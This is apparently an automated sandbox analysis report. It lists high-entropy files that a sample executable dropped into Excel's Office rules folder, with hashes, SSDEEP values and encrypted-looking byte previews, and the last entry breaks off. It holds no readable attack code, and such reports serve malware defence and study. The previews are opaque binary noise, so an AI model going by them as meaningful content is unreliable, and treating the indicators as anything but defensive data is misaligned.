C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.7445886305455165
Encrypted:	false
SSDEEP:	12:U5hNrgX8aobvUdcc0IhjaT36Gx1HJknqeummX5QUQfbINB+HAcM5U1rN9UYX8uOX:o9SczUdc1IhmvxBekDQfbIT+dB9pObD
MD5:	969FA572DE3C10F0C1322A8847B3505E
SHA1:	DC32558600DBBFAEDD239EF940E469E6D707FD56
SHA-256:	E52F0F2C508D8F33E01F253F3E62261A963303AF673686E0BD79001EA27B303D
SHA-512:	B99F268FD958828A7003CB5A7416362B6F03024C7AE48CEE3917D89998C42B26E01B63518F245A4C958894FE429760EDDB5F2968A0DF6410263D73C89BB5F314
Malicious:	false
Preview:	<?xmli=yZ..1vtm..\|.U.....z.W.......&x$G..............#&Y..9(..^....k.AYlf.z.t.z.@....x,;..@.uL......B...J.:...m.Yx_...q.-.\.K.. .c.....(.j.du.....3.}A..J........XS.....E`g..A........u..3&. ...(..CN/.ca(<.....V....<..H.sIj.}6h2..>....B..F9...B\|s.. ..(.4.i.Tb.......ZC..........5.q.t.WN.J......s...}7,Prs\.M)B+.[.k.)H.p.irB=.r{)Q.....J..........V.QN...:... ..B..!U\|kk..^Dp~u...Vc.....9}_.W.p.Q.....1.....g{...J<..?...~.....@/.b...r..f...m.....adl...Aw{...8.Q.K{.x.,wq...~.:..Q...\..9....c.}...`kO....Rj..L..).\|$cA.:.....a5..'.I8.9..]2S.RV7Z..v.S..\.@.y...qX.....q>..f6#....=g.l..o.3.pN.3.c.t...M..k@..d..D.1...v.XJ...g.k)...dy...?.Q..{.O.......$.I..nX.dLk.4..c.h......G.?.r.m..G^..*=.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.681791747379216
Encrypted:	false
SSDEEP:	12:fkAsvzIHK+vuVmxEpc1OjzxWvIz+mFlHSr9iX/X7is5HOom1evy9mFKRbfuOciik:8AAzIHKiuVSEpkv4plHSy/WEI1eqQFKP
MD5:	814883D8DB86E20102A8F20CE8B50B06
SHA1:	D8364D2CA83806E066A6B92164AB466876DA60B7
SHA-256:	C5214CEDCF6BFA37B43EAE850EF3088757FF6E5C294611A4B7A5DA8EC2BA3742
SHA-512:	F85DCB6D2506C0DCA7DD54F890D71923BD408933ADAEA317903CAE316983E967D1FB59D75794FB96D56C56A9D1DC70850587102D73B0215133F2AEC97B8F4266
Malicious:	false
Preview:	<?xml/!.......}@d=....;aeOy)....=d`.&.^.T..7...z.[,.IRQ....U...S.(...Dn.2.qW.i\|6.0h..........8)D...^.+:.....RgQ@l.6u{...R...C...z.41.,Q-.t.N&Z8F....\.2.2...y.U?.........T...>-...,~t..;H.e.....M.l.F.e.P....3.T...P..7.D<s7.V=r....._"<7M..0..Ngo....~....E.8.....e.p...u>K[.B.0......... ..Fa?n.&..b....c2..5....ed..yfK..&Z........5\.....j......x.....b..$.Q7N.N...\....U&.".7/.Dr........t..4.>#G..F7.4...,.N.g6'...f.Mv..f....l..K(..i.H.-.ZT....%.}..3.L.0F.Dy..........`..q<..DVe.7g=,....M.........@.V.JjK..}z.=k...U.W..Y#..q_.d..Z.....V........\.E...^....2/.....v.I.X[...0.....M.:.pPW.S.Qz.S.W..0.F.(....s4.."....p.jrV$.~B.'..^......w....eA.g{..h8iMZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.768762096903496
Encrypted:	false
SSDEEP:	24:ociWUKtSoBh4XvUeZwEOwKtN/t7SjUdObD:olrKDhoOnws7SjZD
MD5:	0CF72053DE1382CA331302B262E367CC
SHA1:	D8E89E5E79B349B7FCE6BBE1B274BC006D04C5BE
SHA-256:	C7A2AC09520199DF97E9A4C10A5990D82A7FEA1C31744A4987989C42E802AAA5
SHA-512:	96ECCFD69900C3B8F6B529A49A6A8726A4AB9DCF6805D160FA0EAECDAD72AA3C45D677B5C647DB2FD770BD6945C4E64E3033A7A59275B9095647CA1CD00EB928
Malicious:	false
Preview:	<?xml....<...{.S...I5.> y"...+>s..Os....d..8i.K9-z..a...C$.....!=X......&....V.!...\|d.74..is.Q.r.......m..[...V>.2..@..iZ..nfw.~.f..5..[.....k;..."....k.D<...5..4u0_......T..D..6n...P..]........u...$6.GM.}a.S&.S.@..\|.....?.-...G..Q..Zg...y.O..R8..=./.'...z.h.ua.7.k{.%.3\|..S..}z .>0..K..j........``...[9...Wx.g/&..l......[.........%.K.<...../.8;..J..9...b.....W/.._.vqh...yIk.!=....NZ...%......S~K=W...q......4Rwm9.d#\..@N.....j....`.......G..3o.9.Y..g(#..~.......ZE.\|.S.).\..y....0.6...L;].....}....Zh.N......N}..;25.}.q...;.k...)~...>S[. w..\|3[...%..^.."...$F.R...,@.~b7mvZ...V....=.........Y&Q.:..j...,w.......Z.....d}..8....,.,..9..f@..rISo, ...X..e.....&..V]....BSF........G&.K..A...c..?....'....l.;.<.v.\..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.731137241629208
Encrypted:	false
SSDEEP:	12:awXc1+REteRWxAVJtSsjUikcemmNWyBVHPuoSu4lLjWHFCXuOcii9a:05tEWwJc4UdtmkbviLuObD
MD5:	9BCAB16F59518FC3317F700DA1C700C4
SHA1:	BEF0410A5B9E943BB6E2726DBBF26BDF1703489F
SHA-256:	D35C4C7B9B9A5391EB5402307455DB5088229184398482BE48DFCCDBDD5D6D34
SHA-512:	C4384243D4297D8D519A86180C6288EB02A1B04A70AE3E73B7CFF3C9199BF1D20C3883054C57EE34BBE6ED06599B965E52762CD1B33A8AEEE1D5D19A59DE79A7
Malicious:	false
Preview:	<?xml>...ii..-..vW...k1..7.f1$tD,......_..^..o.....).B.......A...-..?XC.,{..#....1.b.D.......at..TP..3.Zqg...L..A.sf....\....hQ..,....g..e.x.d.C.`-,\L.ef.............B3...L.../...9.D,...~...=..\|...W%.....z`.....Z.@z4.T.. .\|....%`'<\|..>K..^.....-.)......T.f...YA.k#.1..E.p.x..q..8...K.wgs..dk.:.u.nQ.......v..o.6...z.3(.Ff......RMNa.e.......`X.v.j..b]...$.O/.n.9?..m........j.`...*..F%+g......$...tIk. t?(.........J....;;..u..J...(.&.w.~t.."~?....S..v..}..(.M}..d...k....EU.v=;Gqh.......7.l.......x..]....a.......]...lX........E..!\....Z.X.v.0.IJ.....u26....)..Z..$..nsR[.^..b...D.........z..h..........T.i.......].9~Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.711323636147881
Encrypted:	false
SSDEEP:	12:3GMvdVl/yf4z89WYgAQ95FwAFRiSkW0x57EKHCstbJ6S79od8uOcii9a:3FlY9WYy9Hw7Q1oxtV576ObD
MD5:	2D8A9BFC9BC8051CB7160C6874F44325
SHA1:	FF801D7B8058AA3A74409340919A6A4B60E24376
SHA-256:	C10F15D26C9D61255CF645580A8BFBF84DE9A05BB4D0D374456CA02B1B7BE337
SHA-512:	4474EC5D5B1EF962E8B4E2AD303921E82D3E08E4147E27D4B75AD94AD7435A87A5FBB18B381C0C16BEEAC0F8CA289D75DE5EF8EBAD98B777D09B13C9D0FC72CA
Malicious:	false
Preview:	<?xml....U.DL.8.D{....`3.V.#>.`...[.R..f..=....;.Q..5..........N....vZ<Fhu...D&[..x...e..^T....h).Z..{....c....I;...v}...K~.~..m..s......\...(...wE3./..F.=Q...0.......=.....N..k,m.W..o.1.X.~9].......xA)........2.M.......B.......?1.t..Q.h.\$.>..F....[.9..>?q...l.g3.o.He..X.:..OA/'..Z4.....v...M.....\|.41;..h[...X. ..D.;.P.8....j@..T....r..".i....[u.... $.4. W.^....u.JB0.....Yt.A.G)i.B......Wz.w{_N..p.l4.V.i..........)(C.X0.k..z7.Dr~CU.25._.v.KM.\\..K9Y...w..C.~..6..E....rp??O*.r\`........;......p,....p..8.Q..R.G.2.....d.g.K...L....(G#.9..G..n.-.'.\..?...ecE..>.-...M...)..h.~.`.x.N.?[....v>I.~..B.2.d..pt....4.8...(?.v..x...+.V..\..i}\..P......`..[..e.v.L.....-.]u,)=-....#\|.<.`..A.gZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.709091723144643
Encrypted:	false
SSDEEP:	12:P6Hr823esobJjueX7GsNEUqZPsxpQAMymsbX7VGVPDgFbjrTxtt/60dkcDFvcLye:P6Lsr9XqiqZPscBRsbX5cPDgFbjZtt/I
MD5:	A1EF57839AE117F42757EC4D24926FE3
SHA1:	459BC7140CCEA3ACC384146468DC23DFF5DB0882
SHA-256:	E7B596B9B92A9AFCD3C0996D4853C203DEE750F509E740BA63010D293E7CD736
SHA-512:	B7798589118A765A74E2ADB2884C0AB39774753A554C6707E88C5D9C1B7698858FA5ECA3934B320F54A512BF687E8524515E21C676DA54ECA7B371366689DB5D
Malicious:	false
Preview:	<?xml.v..'C`..b.........!...).oDt......W5...8.=.RM.zY$..n?.....'.%.@...uh..7...U...Eim.u....d......G.'.a...#..Yj..W.H.&.Ge....Z..<..3O.....V..4..7$.6...Q.zW=Sp.&..Nr.S.!....\...s.0.~..v.....q.[i1..Q..p-q%e.$M...q.K.\|...s..x'U"]..O.(ofCu....7.B.02.>.(w.........}.....=..7$.C~...{.,.p.r:..].Y.z.]..).......W.d.....K.V....wI..............G5y...6.......}N~.X.Y..5.!..b.TLI..D.g.7y._.m>R"X...b...X;.=...^.~u+..Z.Y.=e%..q.OR..-..:.."....+..N.vT.lI6A..NQ{.S..t/Jg.b..5..52...f..A..m..V......4I.c>kY...v...+s&..x..!e.M..e.Q..\c...t..Z_.e.),....JQ~F..l'... .\..z..n.."1..!.+.........Y.....o9.'%_.N..k... Y$}............<.].o5...u.V.A2U..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.740998653724489
Encrypted:	false
SSDEEP:	24:yr/q/Nk/zJK2WocEZ8i/6r2gc3XTI2vGObD:y+QKct/q2gc3XUWpD
MD5:	0309599DC9743C7B06761CA944398A37
SHA1:	09F29321CDAD72A0275E45D03F55C86D79A22F53
SHA-256:	7B903191076EB30D808603A2094392DB540D95069BA37391C80F3D92EE005345
SHA-512:	5C03522DBD658CFBCE9C2366F4F2CDD3FDA54CF2469EC879C931C73F52F52A424CF982D8E909EEB03B4BEABDE9004A58440389B1814117CBA7C37B7BF154C711
Malicious:	false
Preview:	<?xml..'P.#...D.{..],}.....}#q.{..I.rWX....V...#......Z.c.B`\|H..r9e......^..p._....U........'+.CGn...:..W.K.mc..Q...T.......r.......b...!#L. e~.pI8.....~Jz..;........my.............hz.G#.......-j%..<..'....v..&....0....kPm...G....SH...u...X.....cWO1...o.r....HQ.o!..xj.{..:..q..gp-ux6....^0.....exH:(C.c.!<..p=..A...I.E^._7...<.t.................z<.5k.6.e...RXh...../....\.1. R..X.-U.<...[.8.&......GW..6..1.n.~#.}..t..1@o.d.7T.Gdz....#[W..Q=O!uc.!~..{.....3..}.PD..9...NV.4.....P.......u=.h(H..}H...A.$u...<.m...T0..0...o.y.b..z....iGFx4-!_..t...@. .1....)..Z^.f9..u5o..4e....H..>].n..../.~M...9.m..E....L........5RPg..(......@.d,s.....Cg.(.....AQ.G6.t+NAul.`.&.v..........6.^.F....8...,.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.676550388162053
Encrypted:	false
SSDEEP:	12:LWvUgH3AlikaSfvSESNZMiK5fpNCioxU0gLuvOAK2h4mwsm2JK3Xc5DuOcii9a:LWhQliTSSZNS3fDCiogoNhUsw3hObD
MD5:	DCB900EA2CB73B03145437A726E5BBD9
SHA1:	3F50BA09318787EF38CFAFA65353B48DED8F6E93
SHA-256:	6ACDB7A6771F76B14D8E93E876A062FFA32288B70D0FFC55E83BC17318022D2D
SHA-512:	F84B983E47D756EF2FCE4F4B4130FDA92AEF56629809EFF7B007383E47DB3414BABA51A2A3355040A003DB53F033A8615408A78BE5B5DB3CDD14CB05A6D04FB9
Malicious:	false
Preview:	<?xml.....8...$bQO..;8l......M.]E6.B..<.c.!.......U...~...]'.....[.WW.._....O.c....v.pt.F&<WX..qw....NMh./...A.y....7.o..qMP.70.1..p.l"}....K.....ot.I.(,.y....c....b.K...L...7..PF...........8.!5..@,..W....^..v.Swt...?.cq.n..0X..k.^.X.P!.J...@..u$........_.X........3...b..R<.9yE.z.A_..Lb..uE.?.V.O.5..".v.."P....mw%p..#.[..e.o...-.G_1..AH....v..,...Q..U3...uGu*`..F.....6,.N..l...m{....\.)k...ry6o.le..k.`......[.=.k.^.....&K...7T.h.7..n.-..Cp........-.E..h....z<.i...t....{.`..@.u.rfe....I...d...A.,..V.........Rd .....v&..h.}.`+..L.6.t....n@..d@...;Oy..%.f...D...I)..z.#.VzJ...R.....^oK.#.#.\|..p.Z.~...L.:C....i#.e..2.K..z.Gl%.!......L'.bZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.71629181135833
Encrypted:	false
SSDEEP:	12:0CZQ2a54oV2yguRAWuw8CA2gGIHMZtbZmqOnKf8Qkm8TZ9EywJR8YvxomuOcii9a:3Zo4oV2SDuw8H2J47KEQkRA73ojObD
MD5:	6FA2F2224339189D6B0A2FE938CC0E1E
SHA1:	4A1D4A4D0EC5E99875BA03B6227FE39C9EF2F3D9
SHA-256:	9DC8647009A7230D01DD57B40E072C8238F410B958E61C4C6A5CD37FBFAE69D5
SHA-512:	446FCE5F530CB97297865DA720C7AE920611B1CB6ED75E628226BDA57E86A02A4EF1D1D8B4146919BEFDD6286C7D8B670928914CF57C270CE75C7A2F5B4CEC20
Malicious:	false
Preview:	<?xml3...e....}..+.~f.0...FD.D....\|V.....4.+QK..^..#f...bv...v...]..4...H..N..{%..b.....+%N!..Y......<..]t...6.5n...SW..>..^..N.vyf..q'...%.$'..&.:q......e7.NG..#..>....eX....Y.k.3ba..').Y..-........;.~..kg...a......=._{h......n.<l.X...z^.y.q..%j....m.3.H...?.U%...e.9..j.E."..zJ...n..cI.8..>Nk..R.5.S..... ...z.....Wh..-K..]v........#.V.......^-...t....`.D...A.meF_...n7d%. .h....Na.IgM(\|{.95.~.....6.6.....ss....Y.F..v/2E......zI.g.^..Q)...zc<../>...H......N.AH...,..........K.;7R+...N="I..@..DK..w.haI...~T/~F...44.\|&....<.:....I.........f..O..I;4.+~..8PK@.X,....2....%n*E"..G.<%x...Vu....>'.....E..4{.l..>nd.>PSK.v~.".e...P.]JU..{.9Y....(...Y.4......=NF..#...Q./..y.Jj.K^Qv.olc...P....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.754833020038943
Encrypted:	false
SSDEEP:	12:IlVEfsmeKCHGE2vCFJXbkPoHgjtvMu2vcbos8ZLAxHp7ApzrdJb5xLDDVDVnveZD:IlWWGEfgAHgKlvcbeLAxhAVLDTvyYObD
MD5:	A78C2C74CF93E5BC4AD46F1191A0CAE7
SHA1:	89E6CE1882F0AC95351D9CE8BEFCEC1C19E271A8
SHA-256:	82547402D77179FF69DB9D46E54CE9FA47993F1B0DF3AA8D92FF066CFF649921
SHA-512:	AC575863ED53181E66622485C67C3B927434E2603CDF24C3CAF216FD72E53DB4DE520929C96FA938C79DB4AE8255D1C630418E519B3F546DE65CBB9963D2C63E
Malicious:	false
Preview:	<?xml5S.t..U.......`..=+... ....M$f.w.<..#...........8h{...E.3.W.[..p6..].~..o.b..R.$.&.N..v...v.V&..9..(.....d...-...m.\|.7.0..g.8.xqh'.n..>gg^0".\|.."....;..s..z...q..R..E..` @.v.n..Tm5......8..]..&....=L.g...9.Us..M......L..X...6....x3>PP+8!....u...{ ..n0.j.....^.fQ..X.(..p_-.\E....m.)...;9=O.........o........(..(.-...."~P.2-f.q....6..c..H...~m.....Rw,..`R!.)..I,.3.UPz.hR.)G....!....h....Y.d..xL......k......-.L.y.4Mc...........7=.....Q/.y\...1e.+..#.....h:...n.$;.5o..4....0W_1i.V...C_S.&....j..1...\V.IZ..vG?Q..W}r.........;...[....lQmTs...Kn}q...F...*....H...aW...x...V..[.I.\u...cR.BU...x..py75..`.q...:..?F.4...~.4..5.'.r.....9......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.753628725507309
Encrypted:	false
SSDEEP:	12:ULnnsBIzdrkXskT9L8hPYQhfl0swxAM+J0QpbHEFiqca5e/NfuOcii9a:6nsBGhpaRwYQJMo0QVMENmObD
MD5:	266170EE8C9CDDC213FCA6D653C5B462
SHA1:	6D49027375E845311CBA74D3928C93722FE858AB
SHA-256:	3981E84CF68C569B91E84E27A0F6D58E50CD0C97584CE9E0A94D9EBEDDBE4B0F
SHA-512:	0EA3C5076613DF865B5A172620A18AA1D0C66B85495EDA416A90AC4500E185E307796812A1D8C2D4B2DD6C690559463A8B7BC59B90DA40091A2D2888BA11FEB1
Malicious:	false
Preview:	<?xmliU+.....g...<r.m.[..<<...>...., ..R@.[}6...i.).]...K\..k.d...._..Y.Z9H..o<..;.w./...^.fO..6Y.+....J&..2@.#.^O.-........f5..DU.&..Z..F..JX...p...,`...Dcg.9Op....6.+O../.E.X..P.........W...Q.....O...<.?..=]..o..?....1#....Mv.m.d...G..O..^2..7.E.U..u..v.O.....[oA..... ..DJ@..z> u...KF...R..O..=. 5.l.....gQ..qs.I..#...D\|w...U)....G...(......l`.......b(......7.......&#zL.R..Q"5r...a..uX.........b'.Qf......3.........6.s^.p.P..h.$.C.U.....8._......0'..}V.wL....Y.3..Y.1..=..uz...&..]x/.I.`<l.....g....g.'..H.A(E.Z...DfO.l......l....).....J.-.NqQ.I.vjDV........RSga7%.x......L}.$0...[t.a....v....S.H.IK.s=...u...V....i....3.G>.u._.._.../..../.c%b,..u..t%.8.+9.....&4.F...y.H.M.z7.....=IZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.706041036251415
Encrypted:	false
SSDEEP:	12:G9zt0Ga5YctExOrCYW88FlVucsr04p+lWDyEXCvWWZoxhxvoRU+MA/ARCUOFfuOX:GRaGaectPtwlVuaa+lyUULFqU+X/SCUK
MD5:	2AE3E658FA6FB71445A4A6B8CBD36ADE
SHA1:	4B8C18BC57D71DBFD51751B94949C9C7E19C7860
SHA-256:	8FAFAD3BABD1731D54C96E3EAE35B3C7A0A0272956707E1CB9CD13BC8633174B
SHA-512:	8082C484A8CF8217DBF2513B556B5948A67B90F6BD4BD68FD377618F17BFE7BA6430735385567D683C981B0D8BD12DDD2753019734543BE5C6B786D8B790D55A
Malicious:	false
Preview:	<?xml's.h.7#..0..h=.y.o..iK.\.VQ.v\|.x..........n'..o.,...5.c..qN..<O+O:..O..*...y.~o.%_.y....#i..T.7.B...5....2.B...........N...A..g:....-.3....g.DQm.p`.<F3bR\..N.&.%..h..H8...1...:............\|..77..C&=.f2+.J0.0.Q..+$..@.M.......NW...1...Y\......./..+..F...+U4+...3w.O8....<.Pw.{M..^y..........z{.. ...Bw.y`..pG_(.e...#.4^v.5..M.R/....A.)E...l..C..i.ov./..F.I....$.m...f.....~.r.?...u...<.~......T..".-.!.&.......e.&A....]v...L.%..4}.VKF.T.].Y'.l.._(.<.P......i...+X.d`....R....?.......:.-..%')...)... ...]s.y......Q......M.q...~.]5P9.ar..~hbg.6.].A...V.).9...........\|....)u..h.:.ng.H_.;}....gB....{..$i2k8.-.!xh.b9sK....._N&>....RF...N...a<.JZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.738277186338326
Encrypted:	false
SSDEEP:	24:9mkWbrlaheOlCvnC7QKXau+RWNSNf+ObD:9W8RIPsPGRzfBD
MD5:	2E571B88AEAB3EA8A74B797DF92A76D0
SHA1:	29C181FFC84AA64B02650ADE0B491C0E26C89384
SHA-256:	B638A3F9762C10297DFFB94D71C5040FDFF5FBED11C9DEA9BD82D08B1FBE780D
SHA-512:	E4868184BF9DF70FE5FBC341E3B230CE4A0FB3C5F1D8A5756366CD06EEF693E780D329592002412448B5C2547EFEE56776B2289278204991EC9536F37D6C681D
Malicious:	false
Preview:	<?xml+.....S&.:...sbR.8..._R....8.......A.....N}.h.......ZcA.rD..../..y'..E...\|....\|...]N.l.....A.6...i.....<..QOau.n...qk...A&.......~T.F.u..x...1e,pdV.Y.....E..C.q..-....n.Q...f..A.;_..QA0]........b...".NU:...ui.+.YIA.<f~..B.M.^.S...."V........'.@}.<.....1...Z!.Z.EEM".C.....#.B.iY.$........^..i....."...(.!.t;....]....._.hx..Rn..6t+S]O"...(.i[...^=n..n$.<....\&.)......;?g...R..l...}..$..Y....Rx..C.B..G....r/M'.,.~.....:v.T...9.uJ.l.@....X.5.....$.... ..ikz..-.!...R8....z.T.........Y.[..s....<.p.I.)+e./..~Cm.B...B.y.%:.;e.V.........sS..w..........I...3H?..T.]..+\.j9.%...C\~K...be...k.........."F.fn. .>f..~......^...&.p^..:....3i.C....e...#.pK..K..........i....-.W.'.&.c.=.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.713851820833496
Encrypted:	false
SSDEEP:	12:buEdJYLPt+GSz8ahcYTn/Z2o3FGWlfoKwQ2sM5WjTOB4lIYHjuuOcii9a:bFnzVcY7/Z7GW/SsM5gOKIYXObD
MD5:	3FC03156922C69DBA98F8784E4B43079
SHA1:	81A57E2DBB6F6D7A2265BC7F190D4FA382B576B8
SHA-256:	AC9C0EF5CD7B4A6A0502E4D6C23408C44DD7B09FF9492FA1517E35EBD8D451BC
SHA-512:	E75B565D9203555558C3680D17AF8E297A4D2193DCA9DEFE74E437E66145BF5F2F96B48D865F031980A5AD2A66FC72B68FB3CDA572BE31C6B1FF56ABC760FBB4
Malicious:	false
Preview:	<?xml.\|t.+5......u....ZN....\|..........X(F7.9.......OK........n..6....r......?@...{V....{..U..5.@.........Px0..X.[.<.qm.\.....t.<W..}D....g...:..1Tl....cq...y,9>.d.....l...i.].&.+...H...W...{q...AEc....q...^...}..[.`..b._.u.....t.8..-u..~.....K?V(.....^.xIr..!$\|5.;W..+..`....f...a.5.%.......R..X_g...yir.~.......gi.E^....c.-.5.......Y~......{d....2.UH. ..[.I.K....X#.@.G.}.....8.O.,......gB4$.^.`Vf['.u.....a..s....)".....=.U.C....P.....hq.;.<../.....k..z..P>.s%....].M.!.S.......K<....3...'&7.....{.%.Th..W.{..4M2...9...j(...4.G.A.k.K.=..n.yN.;>.. ..E...A...G.P#u'......dV....... y$.g...1N..j.......l...rE..9.V.bB.]'....^.>^.={.8...N.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.723000478465146
Encrypted:	false
SSDEEP:	12:tIeaD9Ix5XgbWkWC6ps1zVv3B72MRtwKCtG51pbx680DZ/bX+IP5uOcii9a:SeamfXY7Cs1Rv3Bl/owvuFpgObD
MD5:	0F79A04A3F4081AF169E61071CDE1996
SHA1:	DF794F5D44F95AA970ED2D6B38E0DBF7E5CBE6AD
SHA-256:	E58E3D92BC0AAD4A8D6D367E9F6D106E46F820C85DEB1CB341EE825EA4DD2BF6
SHA-512:	EFCB44BF7B0A24CE581CA725537C620E05065DA419736144C561A65EC6CED19A6CC13955C9468C2417DBCCF77178DE85953C224CBDA4516A41A6FAEFC54077B0
Malicious:	false
Preview:	<?xml+e,={..$..f.t...lc...7..6UT...==Q>.'.;..F...A${.{.."v..8....[.$.zw.o.'&..RR..:c.....C.{H...o91T{.jvT......T~.T.Q.H.E......\|&..]...6.....e._.p......H}.{."/..W0...._..ou..Ws.x...8......=i...)5~....Z.$.. ...V....ny...y.....s...w.A...U.....4P....h.n6w.WI..5.K.....+.(..;.PRafm.W...P._^....s.mM.>r>..0.ew3Rxc.....D.....Hk...........LKg.J(.%..w~..Ky.,....=.m1).....\x.G...f.]....kT..`04...F..d.+..e5R.O8.h.$7..Q.U.;.q..~;."..U..T...D....&1C.}....Z..$P.i..7\|T..kF.=........DMs..........4VU(....\|`....r....xQ;.g..3...&.T?.z.....k!V.;..uQ.Yb......E....G....R5.G.0..M....~*..D.PH>@.9....,.Gy7a...X:.O$.C.d....st.m.A.I....g^.Z...HDi.....ei...J..M .cjrHw........j.pY-RDp.......C..02pG._."..._..g.N.H....gZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.722363663484291
Encrypted:	false
SSDEEP:	12:gFe0rGs2CIoGJgUpx6z5MXbPyQ18FFui/DltFEI97iwu5b2t6muOcii9a:0GsbGzpx6QPd1Ugi/hXEOYbvjObD
MD5:	1195EDA5487B5223D27E44EEE3580BBC
SHA1:	F7959AD3F9BFB5B97356AE05C791BE6D8BFFAA44
SHA-256:	B99DE1177A06BBB76916C3347DD92F8E7AA90824551EA412321AA091AD1623C8
SHA-512:	76C555D067AE8683F01416CE6FA9F80123AC6A915B1FB996BAA0DF06C06C0EE9DF6BDFBD398BE6988D1FAD854E3C507965B07E66DA98D8E7E6AA358146F1EB4C
Malicious:	false
